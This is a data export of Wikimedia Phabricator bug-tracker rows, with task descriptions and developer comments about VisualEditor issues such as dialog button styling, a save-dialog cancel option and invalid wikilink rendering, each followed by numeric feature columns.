255308,VisualEditor: Nicer removal of Cite.php's class=error,Hello?,,,1410125027,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-ny6m4ujfqwfjm6dzcxsg,task_subcomment,,True,c1,3,True,,,61,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Hello?
255299,VisualEditor: Nicer removal of Cite.php's class=error,So what is this about? There's a lot of missing context here.,,,1406238141,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-ny6m4ujfqwfjm6dzcxsg,task_subcomment,,True,c1,3,True,,,55,,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,3.3333333333333335,1.0,So what is this about? There's a lot of missing context here.
53133,"VisualEditor: Red ""remove xyz"" button may not be ideal styling in dialogs","An English Wikipedia user writes to note that since red is the color of a missing link, it may not be an ideal choice for ""remove template""

I myself wonder if it might not show up as pale grey (hence suggesting it will not work) to the color blind.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1373485620,1393632765.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-7brx7poui3lgaqmgzlvg,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,0.0,4.0,5.0,3.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,1.0,5.0,12.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,4.0,3.0,4.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,7.0,3.0,8.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,12.0,4.0,0.0,3.0,0.0,7.0,0.0,0.0,4.0,1.0,3.0,0.0,0.0,0.0,3.77027027027027,0.7567567567567568,"An English Wikipedia user writes to note that since red is the color of a missing link, it may not be an ideal choice for ""remove template""

I myself wonder if it might not show up as pale grey (hence suggesting it will not work) to the color blind.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
254853,"VisualEditor: Red ""remove xyz"" button may not be ideal styling in dialogs","We now use a rubbish bin (""trash can"") icon which is a lot softer.",,,1393632765,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7brx7poui3lgaqmgzlvg,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,5.0,5.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,5.0,11.0,0.0,0.0,5.0,0.0,0.0,2.789473684210526,0.8947368421052632,"We now use a rubbish bin (""trash can"") icon which is a lot softer."
254846,"VisualEditor: Red ""remove xyz"" button may not be ideal styling in dialogs","Note that this is in-line with the Design department's upcoming changes to the skins - it's a wider question. However, we should indeed flag this issue, I agree.",,,1373855846,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7brx7poui3lgaqmgzlvg,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,11.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,11.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.7222222222222223,0.8333333333333334,"Note that this is in-line with the Design department's upcoming changes to the skins - it's a wider question. However, we should indeed flag this issue, I agree."
53116,"VisualEditor: Offer ""cancel"" option in save dialog to escape VisualEditor","A user suggests that, in addition to the ""cancel"" option next to the ""save"" button, there should be an option to ""cancel"" from within the save box.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1373473020,1400626382.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-xxykpaxkkgrcn363ntny,task_description,declined,True,c1,3,False,False,False,1,,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,13.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,2.0,6.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.5925925925925926,"A user suggests that, in addition to the ""cancel"" option next to the ""save"" button, there should be an option to ""cancel"" from within the save box.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
254098,"VisualEditor: Offer ""cancel"" option in save dialog to escape VisualEditor",I have.,,,1400626382,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-xxykpaxkkgrcn363ntny,task_subcomment,,True,c1,3,True,,,46,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,I have.
254091,"VisualEditor: Offer ""cancel"" option in save dialog to escape VisualEditor","Hmm... Yes, after thinking about this some more, I agree. Who wants to mark this wontfix?",,,1400188965,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-xxykpaxkkgrcn363ntny,task_subcomment,,True,c1,3,True,,,45,,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,3.5238095238095237,0.9047619047619048,"Hmm... Yes, after thinking about this some more, I agree. Who wants to mark this wontfix?"
254085,"VisualEditor: Offer ""cancel"" option in save dialog to escape VisualEditor","Agree with Trevor, also on basic grounds of minimizing clutter; we should only add this if there's user testing that shows users don't know how to cancel their edits.",,,1400188662,,PHID-USER-766idcqt4jkngnnuhnrj,True,,,PHID-TASK-xxykpaxkkgrcn363ntny,task_subcomment,,True,c1,3,False,,,45,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,3.0,3.0,3.0,12.0,15.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,15.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0588235294117645,1.0,"Agree with Trevor, also on basic grounds of minimizing clutter; we should only add this if there's user testing that shows users don't know how to cancel their edits."
254078,"VisualEditor: Offer ""cancel"" option in save dialog to escape VisualEditor","It's really cool that Alex has added a patch, but I feel pretty confident this is a mistake. If you open a dialog and then hit cancel, you are going to believe it will close the dialog without taking action. This is a reasonable sounding request, but we really need to say no to this.

I'm not going to wontfix until other's chime in. Can anyone really make a case for why this is a good direction?",,,1400187131,,PHID-USER-mpfqwllylfkzpcgkdkvc,True,,,PHID-TASK-xxykpaxkkgrcn363ntny,task_subcomment,,True,c1,3,False,,,45,,0.0,1.0,0.0,0.0,1.0,6.0,3.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,8.0,11.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,11.0,2.0,2.0,2.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,8.0,4.0,8.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,8.0,11.0,1.0,1.0,0.0,0.0,8.0,0.0,1.0,7.0,0.0,3.0,0.0,0.0,0.0,3.6292134831460676,0.7191011235955056,"It's really cool that Alex has added a patch, but I feel pretty confident this is a mistake. If you open a dialog and then hit cancel, you are going to believe it will close the dialog without taking action. This is a reasonable sounding request, but we really need to say no to this.

I'm not going to wontfix until other's chime in. Can anyone really make a case for why this is a good direction?"
254071,"VisualEditor: Offer ""cancel"" option in save dialog to escape VisualEditor","Change 127004 had a related patch set uploaded by Alex Monk:
Add cancel & discard changes button to save dialog

https://gerrit.wikimedia.org/r/127004",,,1397752290,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-xxykpaxkkgrcn363ntny,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.375,1.0,"Change 127004 had a related patch set uploaded by Alex Monk:
Add cancel & discard changes button to save dialog

GERRIT_URL"
254065,"VisualEditor: Offer ""cancel"" option in save dialog to escape VisualEditor",The user is asking to escape VE entirely.,,,1373474404,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-xxykpaxkkgrcn363ntny,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.7777777777777777,1.0,The user is asking to escape VE entirely.
254060,"VisualEditor: Offer ""cancel"" option in save dialog to escape VisualEditor","Would this be to escape from VisualEditor entirely (i.e., go back to view mode) or just to get out of the save dialog and back to the editor?",,,1373474231,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-xxykpaxkkgrcn363ntny,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,22.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,22.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.5625,0.84375,"Would this be to escape from VisualEditor entirely (i.e., go back to view mode) or just to get out of the save dialog and back to the editor?"
53090,[[./Foo]] is not valid wikitext for links and shouldn't be rendered as one,"Links in the form [[./Bla]] are invalid markup, but are rendered as correct links in VisualEditor. There may be other types of invalid formats that are similarly accepted.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=33094",Medium,50.0,1373422620,1397770003.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-l4k7rc3z5agm24u46fhj,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,3.0,0.0,10.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,13.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,3.6825396825396823,0.6349206349206349,"Links in the form [[./Bla]] are invalid markup, but are rendered as correct links in VisualEditor. There may be other types of invalid formats that are similarly accepted.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
252638,[[./Foo]] is not valid wikitext for links and shouldn't be rendered as one,"Change 124009 merged by jenkins-bot:
(Bug 51090): Follow-up to 4dce7f620: handle transclusions + html2wt mode

https://gerrit.wikimedia.org/r/124009",,,1397109465,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-l4k7rc3z5agm24u46fhj,task_subcomment,,True,c1,3,False,,,40,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.153846153846154,0.9230769230769231,"Change 124009 merged by jenkins-bot:
(Bug 51090): Follow-up to 4dce7f620: handle transclusions + html2wt mode

GERRIT_URL"
252628,[[./Foo]] is not valid wikitext for links and shouldn't be rendered as one,"Change 121658 merged by jenkins-bot:
Bug 51090: Render invalid wikilinks as plain text

https://gerrit.wikimedia.org/r/121658",,,1397109230,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-l4k7rc3z5agm24u46fhj,task_subcomment,,True,c1,3,False,,,40,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.35,0.95,"Change 121658 merged by jenkins-bot:
Bug 51090: Render invalid wikilinks as plain text

GERRIT_URL"
252620,[[./Foo]] is not valid wikitext for links and shouldn't be rendered as one,"Change 124009 had a related patch set uploaded by Subramanya Sastry:
(Bug 51090): Follow-up to 4dce7f620: handles more scenarios

https://gerrit.wikimedia.org/r/124009",,,1396645916,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-l4k7rc3z5agm24u46fhj,task_subcomment,,True,c1,3,False,,,39,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.392857142857143,0.9642857142857143,"Change 124009 had a related patch set uploaded by Subramanya Sastry:
(Bug 51090): Follow-up to 4dce7f620: handles more scenarios

GERRIT_URL"
252613,[[./Foo]] is not valid wikitext for links and shouldn't be rendered as one,"This section details the invalid cases to handle:

http://en.wikipedia.org/wiki/Wikipedia:Page_name#Technical_restrictions_and_limitations

The best place to handle this is in onWikiLink in ext.core.LinkHandler.js.",,,1395952117,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-l4k7rc3z5agm24u46fhj,task_subcomment,,True,c1,3,True,,,38,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.708333333333333,0.8333333333333334,"This section details the invalid cases to handle:

URL

The best place to handle this is in onWikiLink in ext.core.LinkHandler.js."
252607,[[./Foo]] is not valid wikitext for links and shouldn't be rendered as one,"This needs to be checked more carefully after template expansion. Test case this will need to handle as well:

[[{{echo|./Bla}}]]",,,1395951625,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-l4k7rc3z5agm24u46fhj,task_subcomment,,True,c1,3,True,,,38,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,10.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.5806451612903225,0.8387096774193549,"This needs to be checked more carefully after template expansion. Test case this will need to handle as well:

[[{{echo|./Bla}}]]"
252599,[[./Foo]] is not valid wikitext for links and shouldn't be rendered as one,"Confirmed, see http://en.wikipedia.beta.wmflabs.org/w/index.php?title=User:Jdforrester_(WMF)/Bug_51090 vs. http://en.wikipedia.beta.wmflabs.org/w/index.php?title=User:Jdforrester_(WMF)/Bug_51090&veaction=edit",,,1394483874,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l4k7rc3z5agm24u46fhj,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8333333333333334,"Confirmed, see URL vs. URL"
252593,[[./Foo]] is not valid wikitext for links and shouldn't be rendered as one,"You can't now enter these links in VE (bug 33094) but when they appear in the page they are still rendered as valid links in VE. For example [[./Bla]] displays the same as [[Bla]] in the source would and when right clicked, it opens that page.",,,1377447763,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-l4k7rc3z5agm24u46fhj,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,8.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,12.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,3.3,0.7,"You can't now enter these links in VE (bug 33094) but when they appear in the page they are still rendered as valid links in VE. For example [[./Bla]] displays the same as [[Bla]] in the source would and when right clicked, it opens that page."
53065,VisualEditor: Link editor requires ENTER for input,"On any page, click Link icon

Enter text in text field

Click the ""<"" symbol

Check the diff or save the page.  

The link is created but the text entered is not preserved.  

Suggest either preserving the contents of the text field upon the user clicking ""<"" or (less nice) disabling clicking ""<"" until the user has hit ENTER

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1373398440,1375304913.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-oh3fg6fot6uziw3ctbqu,task_description,resolved,True,c1,3,False,False,True,1,,1.0,0.0,0.0,2.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,11.0,1.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,3.0,3.6881720430107525,0.6021505376344086,"On any page, click Link icon

Enter text in text field

Click the ""<"" symbol

Check the diff or save the page.  

The link is created but the text entered is not preserved.  

Suggest either preserving the contents of the text field upon the user clicking ""<"" or (less nice) disabling clicking ""<"" until the user has hit ENTER

--------------------------
**Version**: unspecified
**Severity**: normal"
251259,VisualEditor: Link editor requires ENTER for input,*** Bug 51177 has been marked as a duplicate of this bug. ***,,,1377834865,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oh3fg6fot6uziw3ctbqu,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51177 has been marked as a duplicate of this bug. ***
